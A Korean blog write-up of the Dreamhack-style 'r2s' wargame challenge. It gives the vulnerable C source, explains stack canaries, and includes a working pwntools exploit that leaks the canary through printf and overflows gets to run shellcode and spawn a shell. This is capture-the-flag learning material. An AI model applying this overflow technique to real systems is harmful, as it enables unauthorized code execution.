아무래도 기억력이 나쁜 편이라 계속해서 썼던 코드를 잊어버리네요.
그래서 블로그를 시작했지만 암튼,
문제 풀이를 해보겠습니다.
문제
이번 문제도 사실 풀이는 이미 이전에 있습니다.
그래도 그냥 해보죠.. 제 풀이는 안 보고 했으니까.
shecksec 을 하면 다음과 같이 나타납니다. Canary를 찾을 수 있습니다.
// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int main() {
char buf[0x50];
init();
printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n",
(char*)__builtin_frame_address(0) - buf);
printf("[1] Leak the canary\n");
printf("Input: ");
fflush(stdout);
read(0, buf, 0x100);
printf("Your input is '%s'\n", buf);
puts("[2] Overwrite the return address");
printf("Input: ");
fflush(stdout);
gets(buf);
return 0;
}
문제 파일의 코드입니다.
처음에 buf의 주소와 rbp와 buf의 거리를 알려주고 buf를 입력받습니다.
이후 buf를 %s 문자열로 출력하고 다시 buf를 gets로 입력받습니다.
풀이
Canary의 개념을 잠깐 요약해두고 가자면
fs:0x28의 데이터를 읽어서 rax에 저장합니다.
fs:0x28는 TLS를 가리키는데(TLS가 뭔진 잘 모르겠음) 프로세스가 시작될 때 arch_practl이라는 함수에 의해 TLS 주소값이 rsi에 설정되고(catch syscall arch_prctl) fs는 이를 가리킵니다.
watch *(0x7ffff7fdb4c0+0x28)를 통해 값이 변경될 때 멈추도록 하면 security_init라는 함수에서 값이 랜덤으로(Canary)설정되고 이 Canary값을 검사하는 것입니다.
위 어셈블리에서는 rbp-8에 Canary가 저장됨을 알 수 있고 스택은 다음과 같습니다.
아마 null이 왼쪽에 있는건 little endian 때문이겠죠..?
그래서 우리는 위 코드와 canary의 구조를 보고 다음과 같이 시나리오를 세울 수 있습니다.
1. buf의 주소를 알고 buf를 shellcode와 canary의 null을 덮을 때까지 채운다(NOP로 -> NOP Sled 참고)(아마 buf와 rbp까지 거리는 필요 없을듯?)
2. printf %s는 null까지 읽어들이므로 null 이후 canary의 7바이트를 읽어들인다.
3. gets에서 buf에는 shellcode를, canary를 입력받은 그대로 전달하고 sfp를 채운뒤, ret를 buf의 주소로 옮겨 shellcode를 실행시킨다.
Exploit
from pwn import *
p = process('./r2s')
#p = remote('host2.dreamhack.games',24098)
context.arch = 'amd64'
p.recvuntil('Address of the buf: ')
ret = int(p.recv(14),16)
#print(hex(ret))
payload = asm(shellcraft.sh())
payload = payload.ljust(89,b'\x90')
p.sendafter('Input: ',payload)
p.recvuntil(payload)
canary = b'\x00'+p.recv(7)
payload = payload[:-1]
payload += canary
payload += b'A'*8
payload += p64(ret)
#print(payload)
#print(len(payload))
p.recv()
p.sendline(payload)
p.interactive()
때문에 다음과 같은 exploit code를 작성했습니다.
shellcarft.sh함수를 이용해서 셸코드를 삽입하고, ljust를 통해 정해진 바이트만큼 NOP으로 채웁니다.
이후 printf %s로 인해 입력된 payload가 나오기 때문에 recvuntil로 받고 canary값을 7바이트 받아들인 값에 더해줍니다.
payload에 [:-1]을 하는 이유는 이전 payload에서 \x90을 null까지 덮기 위해 썼으나 이제 null을 더해서 canary를 만들어주었기 때문입니다. 맨 뒤에 1바이트를 삭제하는 부분이죠.
이런 식으로 문제를 풀었습니당